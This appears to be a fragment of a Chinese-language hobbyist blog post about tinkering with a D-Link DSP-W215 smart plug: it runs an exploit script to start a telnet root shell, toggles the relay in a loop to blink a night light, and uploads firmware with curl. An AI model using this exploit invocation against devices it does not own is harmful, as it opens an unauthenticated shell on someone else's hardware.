$ python ./exploit.py 'busybox telnetd -l /bin/sh'
$ telnet 192.168.0.60

不停閃爍的小夜燈

1. 將小夜燈插入 D-Link DSP-W215 插座
2. 依照上述步驟啟用 telnetd
3. telnet 登入 D-Link DSP-W215, 執行無窮迴圈

$ telnet 192.168.0.60
$ while [ 1 ]; do /var/sbin/relay 1; sleep 1; /var/sbin/relay 0; sleep 1; done

手動載入韌體檔案

1. 於官方網站下載韌體檔案, 並將檔案解壓縮到 /tmp
2. 開啟瀏覽器, 連入網址 http://192.168.0.60/login.htm, 密碼就是 PIN 碼, 登入後複製 my_cgi.cgi? 後面的那串數字
3. 開啟 terminal 視窗, 執行以下指令; 問號後面那串數字就是剛剛複製的內容

$ curl -X POST -F 'filename=@/tmp/DSPW215A1_FW102b05.bin' http://192.168.0.60/firmware_cgi.cgi?0.6119953391767108

4. telnet 進入 D-Link DSP-W215, 查看 /tmp 路徑下是否出現 root_uImage 檔案, 若有則成功

註: 若 Wi-Fi AP 無 WPS 功能, 可利用此方式手動匯入 firmware 再進行 SOAPAction: DoFirmwareUpgrade



Ref:

Viewing all 22 articles
Browse latest View live